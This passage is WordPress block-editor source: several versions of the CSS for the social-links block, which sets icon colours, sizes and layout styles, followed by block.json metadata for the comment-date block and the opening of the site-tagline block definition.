.wp-social-link-vk{background-color:#4680c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-whatsapp{background-color:#25d366;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-x{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{background-color:#d32422;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{background-color:red;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link{background:none}.wp-block-social-links.is-style-logos-only .wp-social-link a{padding:0}.wp-block-social-links.is-style-logos-only .wp-social-link svg{height:1.25em;width:1.25em}.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{color:#f90}.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{color:#1ea0c3}.wp-block-social-links.is-style-logos-only .wp-social-link-behance{color:#0757fe}.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{color:#1e1f26}.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{color:#02e49b}.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{color:#e94c89}.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{color:#4280ff}.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{color:#f45800}.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{color:#1778f2}.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{color:#0461dd}.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{color:#e65678}.wp-block-social-links.is-style-logos-only .wp-social-link-github{color:#24292d}.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{color:#382110}.wp-block-social-links.is-style-logos-only .wp-social-link-google{color:#ea4434}.wp-block-social-links.is-style-logos-only .wp-social-link-gravatar{color:#1d4fc4}.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{color:#f00075}.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{color:#e21b24}.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{color:#0d66c2}.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{color:#3288d4}.wp-block-social-links.is-style-logos-only .wp-social-link-medium{color:#02ab6c}.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{color:#f6405f}.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{color:#e60122}.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{color:#ef4155}.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{color:#ff4500}.wp-block-social-links.is-style-logos-only .wp-social-link-skype{color:#0478d7}.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{color:#fff;stroke:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{color:#ff5600}.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{color:#1bd760}.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{color:#2aabee}.wp-block-social-links.is-style-logos-only .wp-social-link-threads,.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{color:#011835}.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{color:#6440a4}.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{color:#1da1f2}.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{color:#1eb7ea}.wp-block-social-links.is-style-logos-only .wp-social-link-vk{color:#4680c2}.wp-block-social-links.is-style-logos-only .wp-social-link-whatsapp{color:#25d366}.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{color:#3499cd}.wp-block-social-links.is-style-logos-only .wp-social-link-x{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{color:#d32422}.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}.wp-block-social-links.is-style-pill-shape .wp-social-link a{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{color:#000}.wp-block-social-links div.block-editor-url-input{display:inline-block;margin-right:8px}.wp-block-social-links.wp-block-social-links{background:none}.wp-social-link:hover{transform:none}.editor-styles-wrapper .wp-block-social-links{padding:0}.wp-block-social-links__social-placeholder{display:flex;list-style:none;opacity:.8}.wp-block-social-links__social-placeholder>.wp-social-link{margin-left:0!important;margin-right:0!important;padding-left:0!important;padding-right:0!important;visibility:hidden;width:0!important}.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{display:flex}.wp-block-social-links__social-placeholder .wp-social-link{padding:.25em}.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{padding-left:.66667em;padding-right:.66667em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{padding:0}.wp-block-social-links__social-placeholder .wp-social-link:before{border-radius:50%;content:"";display:block;height:1em;width:1em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{background:currentColor}.wp-block-social-links .wp-block-social-links__social-prompt{cursor:default;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:24px;list-style:none;margin-bottom:auto;margin-top:auto;min-height:24px;order:2;padding-left:8px}.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}@media (prefers-reduced-motion:reduce){.wp-social-link.wp-social-link__is-incomplete{transition-delay:0s;transition-duration:0s}}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}.wp-block-social-links div.block-editor-url-input{
  display:inline-block;
  margin-left:8px;
}
.wp-block-social-links.wp-block-social-links{
  background:none;
}

.wp-social-link:hover{
  transform:none;
}

.editor-styles-wrapper .wp-block-social-links{
  padding:0;
}

.wp-block-social-links__social-placeholder{
  display:flex;
  list-style:none;
  opacity:.8;
}
.wp-block-social-links__social-placeholder>.wp-social-link{
  margin-left:0 !important;
  margin-right:0 !important;
  padding-left:0 !important;
  padding-right:0 !important;
  visibility:hidden;
  width:0 !important;
}
.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{
  display:flex;
}
.wp-block-social-links__social-placeholder .wp-social-link{
  padding:.25em;
}
.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{
  padding-left:.66667em;
  padding-right:.66667em;
}
.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{
  padding:0;
}
.wp-block-social-links__social-placeholder .wp-social-link:before{
  border-radius:50%;
  content:"";
  display:block;
  height:1em;
  width:1em;
}
.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{
  background:currentColor;
}

.wp-block-social-links .wp-block-social-links__social-prompt{
  cursor:default;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:24px;
  list-style:none;
  margin-bottom:auto;
  margin-top:auto;
  min-height:24px;
  order:2;
  padding-right:8px;
}

.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{
  justify-content:center;
}

.block-editor-block-preview__content .components-button:disabled{
  opacity:1;
}

.wp-social-link.wp-social-link__is-incomplete{
  opacity:.5;
}
@media (prefers-reduced-motion:reduce){
  .wp-social-link.wp-social-link__is-incomplete{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{
  opacity:1;
}.wp-block-social-links{background:none;box-sizing:border-box;margin-right:0;padding-left:0;padding-right:0;text-indent:0}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{border-bottom:0;box-shadow:none;text-decoration:none}.wp-block-social-links .wp-social-link a{padding:.25em}.wp-block-social-links .wp-social-link svg{height:1em;width:1em}.wp-block-social-links .wp-social-link span:not(.screen-reader-text){font-size:.65em;margin-left:.5em;margin-right:.5em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{display:flex;justify-content:center}.wp-block-social-links.alignright{justify-content:flex-end}.wp-block-social-link{border-radius:9999px;display:block;height:auto;transition:transform .1s ease}@media (prefers-reduced-motion:reduce){.wp-block-social-link{transition-delay:0s;transition-duration:0s}}.wp-block-social-link a{align-items:center;display:flex;line-height:0;transition:transform .1s ease}.wp-block-social-link:hover{transform:scale(1.1)}.wp-block-social-links .wp-block-social-link.wp-social-link{display:inline-block;margin:0;padding:0}.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{color:currentColor;fill:currentColor}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{background-color:#f0f0f0;color:#444}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{background-color:#f90;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{background-color:#0757fe;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{background-color:#f45800;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{background-color:#1778f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{background-color:#0461dd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{background-color:#e65678;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{background-color:#24292d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{background-color:#ea4434;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-gravatar{background-color:#1d4fc4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{background-color:#f00075;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{background-color:#02ab6c;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{background-color:#f6405f;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{background-color:#e60122;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{background-color:#ef4155;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{background-color:#ff4500;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{background-color:#0478d7;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{background-color:#fefc00;color:#fff;stroke:#000}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{background-color:#1bd760;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{background-color:#2aabee;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-threads,.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{background-color:#011835;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{background-color:#6440a4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{background-color:#4680c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-whatsapp{background-color:#25d366;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-x{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{background-color:#d32422;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{background-color:red;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link{background:none}.wp-block-social-links.is-style-logos-only .wp-social-link a{padding:0}.wp-block-social-links.is-style-logos-only .wp-social-link svg{height:1.25em;width:1.25em}.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{color:#f90}.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{color:#1ea0c3}.wp-block-social-links.is-style-logos-only .wp-social-link-behance{color:#0757fe}.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{color:#1e1f26}.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{color:#02e49b}.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{color:#e94c89}.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{color:#4280ff}.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{color:#f45800}.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{color:#1778f2}.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{color:#0461dd}.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{color:#e65678}.wp-block-social-links.is-style-logos-only .wp-social-link-github{color:#24292d}.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{color:#382110}.wp-block-social-links.is-style-logos-only .wp-social-link-google{color:#ea4434}.wp-block-social-links.is-style-logos-only .wp-social-link-gravatar{color:#1d4fc4}.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{color:#f00075}.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{color:#e21b24}.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{color:#0d66c2}.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{color:#3288d4}.wp-block-social-links.is-style-logos-only .wp-social-link-medium{color:#02ab6c}.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{color:#f6405f}.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{color:#e60122}.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{color:#ef4155}.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{color:#ff4500}.wp-block-social-links.is-style-logos-only .wp-social-link-skype{color:#0478d7}.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{color:#fff;stroke:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{color:#ff5600}.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{color:#1bd760}.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{color:#2aabee}.wp-block-social-links.is-style-logos-only .wp-social-link-threads,.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{color:#011835}.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{color:#6440a4}.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{color:#1da1f2}.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{color:#1eb7ea}.wp-block-social-links.is-style-logos-only .wp-social-link-vk{color:#4680c2}.wp-block-social-links.is-style-logos-only .wp-social-link-whatsapp{color:#25d366}.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{color:#3499cd}.wp-block-social-links.is-style-logos-only .wp-social-link-x{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{color:#d32422}.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}.wp-block-social-links.is-style-pill-shape .wp-social-link a{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{color:#000}.wp-block-social-links{
  background:none;
  box-sizing:border-box;
  margin-right:0;
  padding-left:0;
  padding-right:0;
  text-indent:0;
}
.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{
  border-bottom:0;
  box-shadow:none;
  text-decoration:none;
}
.wp-block-social-links .wp-social-link a{
  padding:.25em;
}
.wp-block-social-links .wp-social-link svg{
  height:1em;
  width:1em;
}
.wp-block-social-links .wp-social-link span:not(.screen-reader-text){
  font-size:.65em;
  margin-left:.5em;
  margin-right:.5em;
}
.wp-block-social-links.has-small-icon-size{
  font-size:16px;
}
.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{
  font-size:24px;
}
.wp-block-social-links.has-large-icon-size{
  font-size:36px;
}
.wp-block-social-links.has-huge-icon-size{
  font-size:48px;
}
.wp-block-social-links.aligncenter{
  display:flex;
  justify-content:center;
}
.wp-block-social-links.alignright{
  justify-content:flex-end;
}

.wp-block-social-link{
  border-radius:9999px;
  display:block;
  height:auto;
  transition:transform .1s ease;
}
@media (prefers-reduced-motion:reduce){
  .wp-block-social-link{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.wp-block-social-link a{
  align-items:center;
  display:flex;
  line-height:0;
  transition:transform .1s ease;
}
.wp-block-social-link:hover{
  transform:scale(1.1);
}

.wp-block-social-links .wp-block-social-link.wp-social-link{
  display:inline-block;
  margin:0;
  padding:0;
}
.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{
  color:currentColor;
  fill:currentColor;
}

.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{
  background-color:#f0f0f0;
  color:#444;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{
  background-color:#f90;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{
  background-color:#1ea0c3;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{
  background-color:#0757fe;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{
  background-color:#1e1f26;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{
  background-color:#02e49b;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{
  background-color:#e94c89;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{
  background-color:#4280ff;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{
  background-color:#f45800;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{
  background-color:#1778f2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{
  background-color:#0461dd;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{
  background-color:#e65678;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{
  background-color:#24292d;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{
  background-color:#eceadd;
  color:#382110;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{
  background-color:#ea4434;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-gravatar{
  background-color:#1d4fc4;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{
  background-color:#f00075;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{
  background-color:#e21b24;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{
  background-color:#0d66c2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{
  background-color:#3288d4;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{
  background-color:#02ab6c;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{
  background-color:#f6405f;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{
  background-color:#e60122;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{
  background-color:#ef4155;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{
  background-color:#ff4500;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{
  background-color:#0478d7;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{
  background-color:#fefc00;
  color:#fff;
  stroke:#000;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{
  background-color:#ff5600;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{
  background-color:#1bd760;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{
  background-color:#2aabee;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-threads,.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{
  background-color:#011835;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{
  background-color:#6440a4;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{
  background-color:#1da1f2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{
  background-color:#1eb7ea;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{
  background-color:#4680c2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{
  background-color:#3499cd;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-whatsapp{
  background-color:#25d366;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-x{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{
  background-color:#d32422;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{
  background-color:red;
  color:#fff;
}

.wp-block-social-links.is-style-logos-only .wp-social-link{
  background:none;
}
.wp-block-social-links.is-style-logos-only .wp-social-link a{
  padding:0;
}
.wp-block-social-links.is-style-logos-only .wp-social-link svg{
  height:1.25em;
  width:1.25em;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{
  color:#f90;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{
  color:#1ea0c3;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-behance{
  color:#0757fe;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{
  color:#1e1f26;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{
  color:#02e49b;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{
  color:#e94c89;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{
  color:#4280ff;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{
  color:#f45800;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{
  color:#1778f2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{
  color:#0461dd;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{
  color:#e65678;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-github{
  color:#24292d;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{
  color:#382110;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-google{
  color:#ea4434;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-gravatar{
  color:#1d4fc4;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{
  color:#f00075;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{
  color:#e21b24;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{
  color:#0d66c2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{
  color:#3288d4;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-medium{
  color:#02ab6c;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{
  color:#f6405f;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{
  color:#e60122;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{
  color:#ef4155;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{
  color:#ff4500;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-skype{
  color:#0478d7;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{
  color:#fff;
  stroke:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{
  color:#ff5600;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{
  color:#1bd760;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{
  color:#2aabee;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-threads,.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{
  color:#011835;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{
  color:#6440a4;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{
  color:#1da1f2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{
  color:#1eb7ea;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-vk{
  color:#4680c2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-whatsapp{
  color:#25d366;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{
  color:#3499cd;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-x{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{
  color:#d32422;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{
  color:red;
}

.wp-block-social-links.is-style-pill-shape .wp-social-link{
  width:auto;
}
.wp-block-social-links.is-style-pill-shape .wp-social-link a{
  padding-left:.66667em;
  padding-right:.66667em;
}

.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{
  color:#000;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comment-date",
	"title": "Comment Date",
	"category": "theme",
	"ancestor": [ "core/comment-template" ],
	"description": "Displays the date on which the comment was posted.",
	"textdomain": "default",
	"attributes": {
		"format": {
			"type": "string"
		},
		"isLink": {
			"type": "boolean",
			"default": true
		}
	},
	"usesContext": [ "commentId" ],
	"supports": {
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/site-tagline",
	"title": "Site Tagline",
